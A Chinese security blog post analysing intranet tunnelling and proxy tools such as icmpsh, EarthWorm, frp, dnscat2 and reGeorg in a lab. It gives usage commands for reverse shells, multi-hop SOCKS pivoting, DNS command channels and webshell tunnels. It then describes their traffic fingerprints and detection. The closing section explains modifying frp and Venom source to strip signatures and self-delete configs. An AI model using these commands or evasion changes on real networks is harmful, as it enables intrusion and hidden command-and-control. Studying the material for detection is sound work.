内网代理和穿透工具的分析记录
2022-9-7 10:21:59 Author: 黑白之道(查看原文) 阅读量:15 收藏

0x00 前言

记录一下对内网代理和穿透工具的分析过程,着重在流量侧。

0x01 环境

攻击机器:192.168.1.131和192.168.1.133

目标机器:192.168.1.137

目标机器为双网卡,第二层网段为192.168.3.0

0x02 分析

思路:网络层 -> 传输层 -> 应用层

1、ICMP隧道技术

icmpsh

  • 介绍

    icmpsh是一个简单的反向ICMP shell工具。与其他类似的开源工具相比,主要优势在于它不需要管理权限即可在目标机器上运行。
    客户端只能在Windows机器运行,服务端可以在任何平台上运行。

  • 下载

    https://github.com/bdamele/icmpsh

  • 使用

服务端:

git clone https://github.com/inquisb/icmpsh.git
#关闭icmp回复,如果要开启icmp回复,该值设置为0sysctl -w net.ipv4.icmp_echo_ignore_all=1
#运行,第一个IP是VPS的eth0网卡IP,第二个IP是目标机器出口的公网IPwget https://bootstrap.pypa.io/pip/2.7/get-pip.pypython2 get-pip.pypython2 -m pip install impacketpython2 icmpsh_m.py 192.168.1.133 192.168.1.137

客户端:

-t 主机ip地址以发送ping请求。这个选项是强制性的!-r 发送一个包含字符串“Test1234”的测试icmp请求,然后退出。-d 毫秒请求之间的延迟(毫秒)-o 毫秒响应超时(毫秒)。如果没有及时收到回复,从机将增加空白计数器。如果该计数器达到某个极限,从机将退出。如果收到响应,计数器将设置回0。-b 空白数量限制(退出前未答复的icmp请求)-s 字节最大数据缓冲区大小(字节)
icmpsh.exe -t 192.168.1.133 -d 500 -b 30 -s 128

pingtunnel

  • 介绍

    Pingtunnel 是一种通过 ICMP 发送 TCP/UDP 流量的工具。其是最流行的一款ICMP代理工具,提供对tcp/udp/sock5流量伪装成icmp流量进行转发的功能。需要root或者administrator/system权限。

  • 下载

    https://github.com/esrrhs/pingtunnel

  • 使用

高权限条件下

构建反向代理

1)服务端

-type server 代表开启ICMP SERVER端,等待客户端进行连接与通信。-noprint 1 不在控制台打印日志-nolog 1 不存储日志文件
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server -noprint 1 -nolog 1

2)客户端

pingtunnel.exe -type client -l :4455 -s 192.168.1.133 -sock5 1 -noprint 1 -nolog 1

3)测试使用

设置 socks5

访问二层网络

2、ICMP隧道流量特征

正常情况下,单位时间内数据包发送的数量为一组。

单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。

单组数据包Data字段内容中,Windows为abcdefghijklmnopqrstuvwabcdefghi,Linux下为!”#$%&’()+,-./01234567。

据包Type字段类型为0或者8,表示请求和应答。

在icmpsh中,其交互过程的数据包中请求包和响应包长度明显不相同,并且Data字段内容明显为明文的敏感信息。

建立连接

执行命令过程


在pingtunnel中,明显地,单位时间内数据包的数量过大。


单组数据包Data字段长度非默认长度,并且请求和应答报文的长度也不相同。在单组数据包Data字段内容中,在交互过程存在会话key和明文访问信息。

pingtunnel在访问过程会把会话key和访问信息封装到icmp协议的data字段中。


流量检测关键点:

  • 单位时间内数据包的数量

  • 单组数据包Data字段长度

  • 单组数据包Data字段内容

3、TCP隧道技术

EarthWorm

  • 介绍

    EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
    能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。

  • 下载

    https://github.com/rootkiter/EarthWorm

  • 使用

EW共有6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)ssocksd:正向代理、rcsocks:流量转发、rssocks:socks5反弹lcx_slave:端口绑定、lcx_listen:流量转发、lcx_tran:端口转发
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。lcx_listen该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
-l 为服务启动打开一个端口。-d 设置反弹主机地址。-e 设置反弹端口。-f 设置连接主机地址。-g连接端口设置连接端口。-t 设置超时的毫秒数。默认值值是1000

1)反向socks5代理

客户端

ew.exe -s rssocks -d 192.168.1.131 -e 8888

服务端

ew.exe -s rcsocks -l 1080 -e 8888
测试结果

2)二级级联

获得目标网络内两台主机A(2.2.2.2)、B(2.2.2.3)的权限。

A主机存在公网 IP,且自由监听任意端口,无法访问特定资源。

B主机是目标网络内部主机,可访问特定资源,但无法访问公网。

A主机可直连B主机。

主机Aew -s lcx_tran -l 1080 -f 2.2.2.3 -g 8888
主机Bew -s ssocksd -l 8888
通过proxifier代理工具访问2.2.2.2:1080

主机A(2.2.2.2)、B(2.2.2.3),公网VPS(1.1.1.1)。

A主机,无公网 IP,无法访问特定资源,可访问外网。

B主机是内部主机,可访问特定资源,却无法回连公网。

A主机可直连B主机。

公网主机ew -s lcx_listen -e 8888 -l 1080
A主机ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
B主机ew -s ssocksd -l 9999
通过proxifier代理工具访问1.1.1.1:1080

3)多级级联

主机A(2.2.2.2)、B(2.2.2.3)、C(2.2.2.4),公网VPS(1.1.1.1)。

A主机无公网IP,无法访问特定资源,可访问外网。

B主机无法访问特定资源,无法回连公网。
C主机可访问特定资源,无法回连公网。
A主机可直连B主机,B主机可直连C主机。

VPSew -s rcsocks -l 1080 -e 8888
主机Aew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
主机Bew -s lcx_listen -l 9999 -e 7777
主机Cew -s rssocks -d 2.2.2.3 -e 7777
通过proxifier代理工具访问1.1.1.1:1080

数据流向为socks5代理-> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

Venom

  • 介绍

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。

渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

其功能特性支持:多级socks5代理、多级端口转发、端口复用 (apache/mysql/…)、ssh隧道、节点间通信加密

  • 下载

    https://github.com/Dliv3/Venom/

  • 使用

1)未加密下的反向socks5代理

服务端

admin.exe -lport 9999

客户端

agent.exe -rhost 192.168.1.131 -rport 9999

2)加密下的反向socks5代理

admin.exe -lport 9999 -passwd [email protected]agent.exe -rhost 192.168.1.131 -rport 9999 -passwd [email protected]

3)多级级联

VPS:120.10.120.Xadmin_linux_x64 -lport 4343 -passwd [email protected]goto 1listen 4343goto 2listen 4343
主机A:192.168.3.15agent.exe -rhost 120.10.120.X -rport 4343 -passwd [email protected]
主机B:192.168.3.30agent.exe -rhost 192.168.3.15 -rport 4343 -passwd [email protected]
主机C:192.168.3.160agent.exe -rhost 192.168.3.30 -rport 4343 -passwd [email protected]

Stowaway

  • 介绍

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。

其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。

  • 下载

    https://github.com/ph4ntonn/Stowaway

  • 使用

1)未加密下反向代理

服务端

stowaway_admin -l 9999use 0 socks 10001

客户端

stowaway_agent -c 192.168.1.131:9999

2)加密下反向代理

stowaway_admin -l 9999 -s [email protected]stowaway_agent -c 192.168.1.131:9999 -s [email protected]

3)多级级联

在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现
admin: ./stowaway_admin -l 9999 -s 123
agent-1: ./stowaway_agent -c 127.0.0.1:9999 -s 123
agent-2: ./stowaway_agent -l 10000 -s 123通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点
agent-3: ./stowaway_agent -c 127.0.0.1:10001 -s 123通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接

Frp

  • 介绍

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

其功能特性支持:支持 TCP、KCP 以及 Websocket 等多种协议;采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间;代理组间的负载均衡;端口复用,多个服务通过同一个服务端端口暴露;多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等)。

  • 下载

    https://github.com/fatedier/frp

  • 使用

1)正常使用

客户端

[common]server_addr = 192.168.1.131server_port = 7000token = [email protected]
[socks5]type = tcplocal_ip = 192.168.3.73remote_port = 1081plugin = socks5plugin_user = testplugin_passwd = 123use_encryption = trueuse_compression = true

服务端

[common]bind_port = 7000token = [email protected]

2)多级级联

1、黑客VPS#frpc.ini[common]bind_addr = 0.0.0.0bind_port = 7099
2、外网web服务器#frpc.ini[common]server_addr = 192.168.27.157server_port = 7000[proxy]type = tcplocal_ip = 10.10.3.100local_port = 9999remote_port = 9999plugin = socks5
#frps.ini[common]bind_addr = 10.10.3.100bind_port = 7000
3、内网域控#frpc.ini[common]server_addr = 10.10.3.100server_port = 7000[proxy]type = tcplocal_ip = 10.10.21.5local_port = 9999remote_port = 9999plugin = socks5
#frps.ini[common]bind_addr = 10.10.21.5bind_port = 7000
4、财务子域控制器#frpc.ini[common]server_addr = 10.10.21.5server_port = 7000[proxy]type = tcpremote_port = 9999plugin = socks5

最后通过proxifier将流量带入内网

4、TCP隧道流量特征

EarthWorm

ew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00”

客户端发送“01 01 00 00 00 00”

服务端应答“01 02 00 00 00 00”,建立连接。

Venom

未加密下venom在建立连接过程的过程中会先发起系列”00 00 00 00 00 00“

接着通过携带“ABCDEFGH”,来判断是否为venom协议

同时,通过携带“VCMD”,作为协议的数据分割

执行命令过程也为明文信息

使用venom的加密下,只存在较小的特征,如携带的数据全置零

推测,其在只有在不使用端口复用时候,才存在

Stowaway

加密和未加密情况下,除了部分数据加密外,特征并没有发生变化。

stowaway在建立连接过程的过程中客户端会先发起系列”00 00 00 00 00 00“

随后,客户端继续携带生成的“会话key”,向服务端发起请求

在服务端确认相同的“会话key”后,客户端发起请求管理端的信息

const ADMIN_UUID = "IAMADMINXD"const TEMP_UUID = "IAMNEWHERE"const TEMP_ROUTE = "THEREISNOROUTE"

服务端回复确认后,建立连接

由于未加密,存在明文信息

在建立连接后,伴随着大量重复ACK确认请求,怀疑是做心跳保持?

Frp

1)未添加tls加密下的frp

客户端

[common]server_addr = 192.168.1.131server_port = 7000token = [email protected]
[socks5]type = tcplocal_ip = 192.168.3.73remote_port = 1081plugin = socks5plugin_user = testplugin_passwd = 123use_encryption = trueuse_compression = true

服务端

[common]bind_port = 7000token = [email protected]

客户端携带版本架构等信息向服务端发起请求

服务端回应相关信息

客户端和服务端之间传递会话id和会话key

服务端创建socks5信息

由于进行了加密和压缩,报文的data是加密的

2)添加了tls加密后的frp

客户端

[common]server_addr = 192.168.1.131server_port = 7000token = [email protected]tls_enable = true
[socks5]type = tcplocal_ip = 192.168.3.73remote_port = 1081plugin = socks5plugin_user = testplugin_passwd = 123use_encryption = trueuse_compression = true

服务端

[common]bind_port = 7000token = [email protected]

添加了tls和加密压缩后的frp在通信过程已经没有了版本信息和会话信息。不过,在建立连接的过程启用tls前,客户端携带“0x17”,请求服务端

利用wireshark详细分析,发现wireshark识别该报文为“Gryphon”协议,“Gryphon”协议为工控协议,用于车用通讯协定

随后,以固定的243字节的TLS-hello报文向服务端发起请求

固定243字节长度的hello报文告诉服务端,frp支持的一系列加密算法套件

服务端选定加密算法,理论上也是90字节大小的TLS-hello报文,向客户端发起应答

随后完成协商过程,建立tls加密通信

5、UDP隧道技术

Udp2raw

  • 介绍

该工具可以利用原始套接字并通过伪造的TCP/UDP/ICMP流量来帮助研究人员绕过UDP防火墙(或不稳定的UDP环境)。

其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。

  • 下载

 https://github.com/wangyu-/udp2raw

  • 使用

在server端运行:./udp2raw_amd64 -s -l0.0.0.0:4096  -r127.0.0.1:7777   -k "passwd" --raw-mode faketcp   --cipher-mode xor  -a
在client端运行:./udp2raw_amd64 -c -l0.0.0.0:3333 -r192.168.1.133:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a

服务端

客户端

6、UDP隧道流量特征

Udp2raw

利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征

7、DNS隧道技术

DnsCat2 && Dnscat2-Powrshell

  • 介绍

dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。

  • 下载

https://github.com/iagox86/dnscat2

https://github.com/lukebaggett/dnscat2-powershell

  • 使用

1)直连模式

ruby ./dnscat2.rb -s 553 -c password --no-cache
dnscat2-client.exe --dns server=192.168.1.133,port=553 --secret=password

2)中继模式

#-e 指定安全级别,open 表示服务端允许客户端不进行加密ruby ./dnscat2.rb www.dnstuneltest.com -c password --no-cache -e opendnscat2-client.exe --dns domain=www.dnstuneltest.com --secret=password

8、DNS隧道流量特征

直连模式下,dnscat2存在明显的连接特征

中继模式下的dnscat2,除开携带域名信息外,无其他明显流量特征

除了域名信息外,单位时间内dns数据包的发送频率也可以当作特征处理。

9、SSH隧道技术

sudo ssh -N -f -L 192.168.1.133:4444:192.168.1.129:3389 192.168.1.133

10、SSH隧道流量特征

在利用ssh进行隧道转发的过程中,除第一个数据包会出现机器的用户名外,在流量过程中无其他明显指纹

11、HTTP隧道技术

tunnel

  • 介绍

Tunna 是一组工具,它将通过 HTTP 包装和隧道任何 TCP 通信。它可用于绕过完全防火墙环境中的网络限制。

  • 下载

https://github.com/SECFORCE/Tunna

  • 使用

-l 表示本地监听的端口-r 远程要转发的端口-v 详细模式-b 请求大小-s 首先启动 pinging 线程 - 一些服务首先发送数据(例如 SSH)-C 请求 cookie-t 基本认证

1)连接RDP

python proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -r 3389 –vpython proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -a 192.168.3.144 -r 3389


2)连接SSH

python proxy.py -u http://218.4.45.152:8877/job/conn.php -l 1234 -r 22 -v –s

reGeog&&Neo-reGeorg

  • 介绍

reGeorg是reDuh的继承者,其主要是把内网服务器的端口通过http/https构建成隧道的一款工具。

Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。

Neo-reGeorg支持:

1、传输内容经过变形 base64 加密,伪装成 base64 编码2、直接请求响应可定制化 (如伪装的404页面)3、HTTP Headers 的指令随机生成,避免特征检测4、HTTP Headers 可定制化5、自定义 HTTP 响应码6、多 URL 随机请求7、服务端 DNS 解析8、兼容 python2 / python39、服务端环境的高兼容性(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行(非 php) 支持内网转发,应对负载均衡环境
  • 下载

https://github.com/sensepost/reGeorg

https://github.com/L-codes/Neo-reGeorg

  • 使用

reGeorg

$ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Neo-reGeorg

python3 neoreg.py generate -k passwordpython3 neoreg.py -k password -u http://xx/tunnel.php
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404python neoreg.py -k <you_password> -u <server_url> --skip
python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

ABPTTS

  • 介绍

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。

  • 下载

https://github.com/nccgroup/ABPTTS

  • 使用

git clone https://github.com/nccgroup/ABPTTS.gitpip install pycryptodomepip install httplib2
#生成对应webshellpython abpttsfactory.py -o webshell
#把目标主机的3389端口转发到本地的7777端口python abpttsclient.py -c webshell/config.txt -u "http://192.168.1.137:81/Files/common/abptts.aspx" -f 192.168.1.133:7777/127.0.0.1:3389

12、HTTP隧道流量特征

tunnel

页面特征

连接报文特征

reGeog&Neo-reGeorg**

对于reGeog,其默认的页面特征为

从流量报文上看,也具有一定的特征信息

Neo-reGeog的页面信息

Neo-reGeog的流量报文

ABPTTS

abptts页面特征

查看报文特征

0x03 检测与防御

1、检测

以frp作为案例

端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测

端口检测:默认配置下,frp的服务端端口为7000

进程检测:从进程上看,frp的进程名称非常明显

流量检测:默认配置下,frp的建立连接过程和心跳维持过程都存在较为明显的特征。

添加tls加密后,frp在协商前存在0x17的协议头部特征

2、防御

针对服务器:
收敛出站权限(配置NAT、反向代理、统一内部DNS)

阻断恶意入站(部署企业级WAF)

针对办公机:
收拢协议
规范行为

0x04 改造

1、frp改造

修改结构特征

定位到frp\pkg\msg\msg.go文件,修改结构体中的特征

Login\LoginResp\NewProxy\NewProxyResp\CloseProxy\NewWorkConn\StartWorkConn\NewVisitorConnNewVisitorConnResp\Ping\UDPPacket\NatHoleVisitor\NatHoleClient\NatHoleResp\NatHoleSid

注意每个字段的一致性,特别是PrivilegeKey、Timestamp和RunID

定位到frp\pkg\util\version\version.go文件,修改版本特征

修改版本对比

测试

修改默认加密salt

修改服务端和客户端的默认salt

frp/cmd/frpc/main.go

frp/cmd/frps/main.go

修改Tls协议0x17特征

修改frp的tls协议中固定的0x17特征

frp/pkg/util/net/tls.go

配置文件自删除

在frp/cmd/frpc/sub/root.go中,注册变量,在RegisterCommonFlags函数中注册参数,最后在startService运行检测函数中添加自删除操作

2、Venom改造

venom的特征在于协议的数据分隔符和在端口重用时的鉴别符号,修改global/global.go后,重新编译,即可实现特征隐藏。

改造后的venom,未进行加密情况下的报文信息中无原来的协议特征

0x05 参考

烽火台实验室-《内网代理工具与检测方法研究》

FreeBuf-kczwa1-《内网全局代理工具及特征分析》

天融信安全服务-《安全运营内刊|检测与防护能力-隧道工具的使用与检测》

作者:RJ45,文章来源于https://rj45mp.github.io/

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650550591&idx=4&sn=54824a59667c3ffc5e7b93ba4077b40a&chksm=83bd54dbb4caddcd16a004871693afff77aa8457fbe0bcfda9080b9c24911104ed928e5ed726#rd
如有侵权请联系:admin#unsafe.sh